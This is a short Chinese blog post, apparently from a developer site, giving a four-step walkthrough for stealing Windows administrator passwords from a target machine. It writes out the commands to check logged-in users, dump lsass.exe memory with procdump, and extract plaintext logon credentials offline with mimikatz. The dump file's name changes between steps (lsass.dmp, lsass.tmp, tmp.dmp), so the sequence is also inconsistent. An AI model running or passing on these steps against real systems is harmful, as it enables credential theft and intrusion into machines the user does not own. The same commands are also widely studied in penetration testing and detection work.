本文介绍了一种在Windows系统中提取管理员密码的方法。包括检查管理员登录状态、获取系统版本信息、利用Procdump抓取lsass.exe进程数据并保存为lsass.dmp文件、以及使用mimikatz在本地解密目标系统密码的步骤。
1、查看目标系统管理员登录情况，管理员在线，抓到明文密码的可能性更大。
query user
2、查看目标系统版本。
wmic OS get Caption,OSArchitecture
3、通过Procdump dump lsass.exe 进程数据并将其保存到 lsass.dmp 文件中。
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
4、将lsass.tmp拉取到本地使用mimikatz解密目标系统密码。（本地机器需与目标机器的版本位数一致。）
mimikatz.exe “log res.log” “sekurlsa::minidump tmp.dmp” “sekurlsa::logonPasswords full” exit
扫一扫
920
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
